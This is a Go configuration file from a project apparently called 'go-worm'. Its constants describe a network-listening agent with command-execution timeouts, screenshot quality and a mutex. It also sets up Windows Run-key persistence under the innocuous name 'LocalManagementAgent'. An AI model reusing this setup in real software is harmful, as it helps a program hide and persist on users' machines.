Files
go-worm/lib/config/config.go
T

28 lines
572 B
Go
Raw Normal View History

package config
import (
"os"
"strings"
)
const (
Version = "1.0.0"
DefaultAddr = "0.0.0.0:5032"
MutexName = "LocalManagementAgent_Mutex"
RequestBodyMax = 1 << 20
MaxListEntries = 10000
MaxImageQuality = 100
DefaultExecTO = 30
MaxExecTO = 120
StartupValueName = "LocalManagementAgent"
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
MaxInputText = 4096
)
func EnvOr(name, fallback string) string {
if value := strings.TrimSpace(os.Getenv(name)); value != "" {
return value
}
return fallback
}